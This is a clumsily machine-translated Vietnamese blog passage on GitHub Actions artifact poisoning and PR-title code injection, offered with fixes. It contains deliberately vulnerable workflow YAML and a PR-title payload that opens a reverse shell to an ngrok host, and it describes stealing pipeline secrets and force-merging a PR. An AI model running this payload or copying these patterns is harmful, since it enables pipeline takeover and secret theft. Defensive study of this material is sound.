CICD-Pipelines

Lặn sâu vào CI/CD PipelineCác lỗ hổng (III): Nhiễm độc hiện vật và tiêm mã

Trong các bài đăng trước (xem) Ngộ độc gián tiếp Pipeline Thực hiện I-PPE và Ngộ độc Pipeline PPE thực thi Về cơ bản, chúng tôi đã xử lý các thiết bị bảo hộ cá nhân (PPE) bị nhiễm độc. Pipeline (Thực thi): Chúng ta đã thấy cách thức hoạt động, tác động của nó, một số thủ đoạn khai thác cũng như một số cách để phòng chống nó. 

Bài viết này sẽ đi sâu vào một số khía cạnh khác. CI/CD pipeline Các lỗ hổng như tấn công làm nhiễm độc hiện vật (Artifact Poisoning) và tấn công chèn mã (Code Injection). 

Để làm điều đó, chúng ta sẽ dựa trên PPE (thiết bị bảo hộ cá nhân), vì vậy hãy cùng tóm tắt nhanh những gì chúng ta đã học về PPE.

Các nghiên cứu trước đây về thiết bị bảo hộ cá nhân (PPE)

Tóm lại, chúng tôi bắt đầu với một GitHub cơ bản. pipeline để xây dựng và kiểm thử mã nguồn đóng góp thông qua một pull requestNgoài ra, nó còn định nghĩa một số điều kiện kiểm tra, nếu đáp ứng đủ, mã sẽ được hợp nhất vào nhánh chính. Chúng tôi đặt tên cho điều này là Kịch bản #1.

CI/CD-Pipelines

Trong bài viết trước, chúng tôi đã trình bày cách thức hoạt động của điều cơ bản này. pipeline là dễ bị tổn thương bởi cả D-PPE và I-PPE.

Chúng tôi đã xoay sở được sửa chữa D-PPE by sửa đổi sự kiện kích hoạt từ yêu cầu kéo đến mục tiêu yêu cầu kéo, làm cho pipeline an toàn với D-PPE. Như một lời nhắc nhở, pipelineSự kiện `s` được kích hoạt trên `pull_request_target` sẽ thực thi đoạn mã cơ bản. pipeline mã, không phải là pipeline mã chứa trong pull request. 

Chúng tôi đặt tên cho điều này là Kịch bản #2.

CI/CD-Pipelines-Vulnerabilities-scenario-2

Nhờ sự điều chỉnh này, chúng tôi đã chứng minh được rằng Kịch bản #2 vẫn dễ bị tổn thương trước I-PPE. 

Để khắc phục điều đó, chúng tôi đã quyết định để phân chia pipeline chia làm hai:

  • Ngày 1 pipeline (Xây dựng CI) sẽ Hãy xem mã PR (để biên dịch), tiến hành xây dựng và tạo ra sản phẩm.
  • 2nd pipeline (Kiểm tra CI) sẽ Kiểm tra mã nguồn gốc (để tránh chỉnh sửa tập lệnh shell) và thực thi các kịch bản gốc đối với hiện vật. 
  • Để đồng bộ hóa Kiểm thử CI pipeline chạy SAU khi Build CI pipeline, chúng tôi sẽ sử dụng workflow_run Kích hoạt. 

Chúng tôi đặt tên cho điều này là Kịch bản #3.

CI/CD-Pipelines-Vulnerabilities-scenario-3

Hãy khôi phục mã của cả hai. pipelinetheo những sửa đổi này…

1st pipeline (Xây dựng CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (Kiểm tra CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

Nhiễm độc cổ vật

Theo ở trên CI/CD pipelines:

  • pipeline Xây dựng CI is an toàn cho cả hai D-PPE (do mục tiêu yêu cầu kéo) Và I-PPE (vì nó không còn thực thi tập lệnh shell nữa).
  • pipeline Kiểm tra CI cũng là an toàn cho cả hai D-PPE (do workflow_run) Và I-PPE (vì nó kiểm tra mã nguồn cơ bản để lấy được kịch bản shell gốc) 

Hãy cùng phân tích kỹ hơn "giải pháp" này.

Pipeline Kiểm tra CI Tải xuống hiện vật dưới dạng tệp zip.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

Sau khi giải nén, nó sẽ thực thi tập lệnh shell "an toàn". Tại sao tôi lại nói là tập lệnh shell "an toàn"? Bởi vì ở bước trước đó, pipeline Chương trình kiểm tra mã "cơ bản", vì vậy kịch bản gốc được đặt vào thư mục không gian làm việc. Do đó, khi pipeline Thực thi tập lệnh shell mà nó sẽ chạy bằng cách sử dụng tệp nhị phân đã tải xuống trước đó.

Sau đó, cái gì là vấn đề Với cách tiếp cận này thì sao? Vấn đề nằm ở chỗ... khi bất kỳ người dùng nào “tạo” một mục mới pipeline. 

Nếu người dùng mở một yêu cầu kéo (PR) có chứa nội dung mới... pipelineGitHub sẽ thực thi điều đó. pipeline  (Với một số điều kiện nhất định, như chúng ta đã thấy ở phần trước) gửi).

Với điều này, Điều gì sẽ xảy ra nếu người dùng tạo một cái mới? pipeline Có cùng tên với Build CI không? Vâng, điều đó thật đáng ngạc nhiên, nhưng GitHub cho phép bạn tạo hai pipelinecó cùng tên!!

Hãy nhớ rằng Test CI sẽ được thực thi sau Build CI…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

Điều đáng ngạc nhiên là hiện nay đã có hai pipelinecó cùng tên, pipeline Kiểm thử CI sẽ được thực hiện hai lần.: một bản sau bản gốc pipeline và những thứ khác sau "cái mới" pipeline.

Tin tặc có thể lợi dụng điều này như thế nào? 

  • Đầu tiên, người dùng độc hại có thể sửa đổi tập lệnh shell để gửi thông tin bí mật đến máy chủ do tin tặc kiểm soát.
  • Thứ hai, cái mới pipeline Bao gồm một dòng để sao chép tập lệnh shell đã sửa đổi vào tệp tin tạo ra → đầu độc hiện vậtct!!!

Khi người dùng mở một yêu cầu kéo (PR) với những thay đổi này, thì "mới" pipeline sẽ được thực thi (tải lên một hiện vật bị nhiễm độc) và Deploy CI pipeline sẽ được thực thi sau đó, dẫn đến Tập lệnh shell "đã sửa đổi" sẽ ghi đè lên tập lệnh shell "gốc" nằm trong... pipeline không gian làm việc.

CI/CD-Pipelines-Vulnerabilities

Đây là những gì chúng ta gọi là Nhiễm độc cổ vật, tức là khả năng sửa đổi (hack) pipeline logic thông qua việc sửa đổi của một pipeline tạo tác. 

Một có thể khắc phục Điều này khá đơn giản: Việc chỉ cần giải nén tệp tin vào một thư mục con của không gian làm việc sẽ tránh được việc ghi đè lên tập lệnh shell "cơ bản".. 

Chèn mã

Ngoài việc làm nhiễm độc hiện vật, bạn có thấy lỗ hổng nào khác trong đoạn mã trên không?

Đi nào!!

Như bạn có thể thấy trong đoạn mã, pipeline Quá trình xây dựng CI tạo ra tệp nhị phân, sau đó tải tệp nhị phân đó lên dưới dạng... pipeline Ngoài ra, nó còn tải lên một vài dữ liệu bổ sung: Tiêu đề PR và ID PR.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Tại sao? Bởi vì để hợp nhất PR, như bạn có thể thấy bên dưới, cần có Test CI. pipeline Cần có ID của yêu cầu kéo (PR) để gọi API REST của GitHub nhằm hợp nhất yêu cầu kéo đó. 

Kiểm thử CI hoạt động như thế nào? pipeline Lấy mã PR ID đó? Chia sẻ thông tin trong các tệp văn bản (một phần của...) pipeline (vật phẩm) là một cách phổ biến để chia sẻ thông tin giữa các bên. pipelineVà đó chính xác là những gì mà những điều này pipelines đang làm.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

Nói một cách chính xác, chỉ cần ID của yêu cầu kéo (PR Id) là đủ để hợp nhất yêu cầu kéo, nhưng... pipeline Quản trị viên quyết định Build CI cũng bao gồm tiêu đề PR, vì vậy Test CI cũng vậy. pipeline Sẽ in ra một thông báo chứa cả ID yêu cầu mua hàng và Tiêu đề.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

Tiêu đề PR luôn là dữ liệu đến từ người dùng và do đó, luôn phải được coi là không đáng tin cậy.. Nên pipeline Phải xử lý như vậy và thực hiện các biện pháp bảo vệ.

Trong đoạn mã trên, ta có thể thấy thông báo cụ thể hiển thị Tiêu đề PR. Đó chỉ đơn giản là lệnh “echo” của Linux.

Thông qua nội suy chuỗi, nếu tiêu đề là "một tiêu đề giả", Github sẽ tự động tạo ra một tập lệnh chứa

				
					echo ""a dummy title""
				
			

Nhưng nếu tiêu đề bài đăng PR lại là một cái gì đó như thế này thì sao:

Tiêu đề độc hại” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

Kịch bản sẽ trở thành:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

Điều này dẫn đến việc mở một shell đảo ngược hướng vào máy chủ do hacker kiểm soát.

CI/CD-Pipelines

Lớp vỏ đảo ngược đó có thể được sử dụng để truy cập vào... pipeline các bí mật (hãy nhớ rằng Test CI đang chạy ở chế độ đặc quyền vì nó được kích hoạt bởi workflow_run nên nó có quyền truy cập vào các bí mật).

Nhưng, còn điều gì khác có thể làm được thông qua lớp vỏ đảo ngược đó? 

Hãy xem mã kiểm thử CI:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

Như bạn có thể thấy trong Test CI pipelineLệnh curl merge đang sử dụng GITHUB_PAT (được định nghĩa là một pipeline (biến môi trường), vì vậy trình chạy chứa GITHUB_PAT như một biến môi trường. Hơn nữa, nó cũng tạo ra một biến môi trường đọc ID của yêu cầu kéo (PR). 

Vì vậy, tin tặc chỉ cần sao chép lệnh curl và dán vào shell đảo ngược, sau đó hợp nhất trực tiếp yêu cầu kéo (PR) vào nhánh được bảo vệ.

chèn mã

Để bảo vệ tất cả những điều này:

  • Đến tránh Nội suy chuỗi với dữ liệu không đáng tin cậy (dễ bị tổn thương) tiêm mã) bởi xác định pipeline biến môi trường thay vì sử dụng trực tiếp trong các lệnh echo

Thay vì sử dụng:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Dùng cái này:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • Ngay cả với lỗ hổng chèn mã, lệnh curl merge cũng sẽ không thành công nếu bạn đã thiết lập đúng cách. đã bảo vệ bạn pull requests thông qua một số quy trình xem xét hoặc phê duyệt bắt buộc. 

Kết luận

Việc bảo vệ nó có vẻ khá khó khăn. CI/CD pipelinecấu hình và nhận được pipelinekhông có lỗ hổng bảo mật.

Điều này không có nghĩa là CI/CD Các hệ thống (như GitHub trong trường hợp này) vốn dĩ dễ bị tổn thương. CI/CD Các hệ thống cung cấp phương tiện để bảo vệ chống lại các lỗ hổng… nhưng trách nhiệm triển khai các biện pháp bảo vệ đó thuộc về người quản trị.

Nhưng… Bạn không thể khắc phục lỗ hổng bảo mật nếu bạn không biết đến sự tồn tại của nó!!!

Dĩ nhiên, một quản trị viên DevOps có tay nghề cao sẽ luôn ghi nhớ tất cả những mối đe dọa này và bảo vệ chúng một cách thích hợp. CI/CD pipelineTuy nhiên, việc sử dụng một sản phẩm để phát hiện tất cả các loại lỗ hổng này vẫn rất có giá trị. Và tất nhiên, việc tự động hóa quy trình xử lý lỗ hổng này (ví dụ: chạy quét như một phần của...) cũng rất quan trọng. CI/CD pipelines).

Cách tiếp cận này có thể được gọi là “Cổng an ninh" 

  • Tạo một cái mới pipeline (Cổng an ninh) để kiểm tra CI/CD pipelinecác lỗ hổng và tạo ra CI khác pipelineViệc này chỉ được thực hiện sau khi hoàn tất thành công việc kiểm tra Cổng An ninh. pipeline.
  • Cổng an ninh pipelines sẽ kiểm tra CI/CD pipelinecác lỗ hổng của s và, 
    • Nếu phát hiện lỗ hổng bảo mật, nó sẽ thất bại và do đó, các chức năng khác cũng sẽ thất bại. pipelineCác lệnh này sẽ không được thực thi. 
    • Nếu không tìm thấy lỗ hổng nào, thì pipeline sẽ thành công và những người khác pipelines sẽ thực hiện như thường lệ.
CI/CD-Bảo vệ

Ngộ độc Pipeline Thi hành (PPE)

Lặn sâu vào CI/CD PipelineCác lỗ hổng (I)

Ngộ độc gián tiếp Pipeline Thi hành (I-PPE)

Lặn sâu vào CI/CD PipelineCác điểm yếu (II)

Bảo vệ chống lại việc làm nhiễm độc hiện vật thông qua xác thực phần mềm

Lặn sâu vào CI/CD PipelineCác điểm yếu (IV)
sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni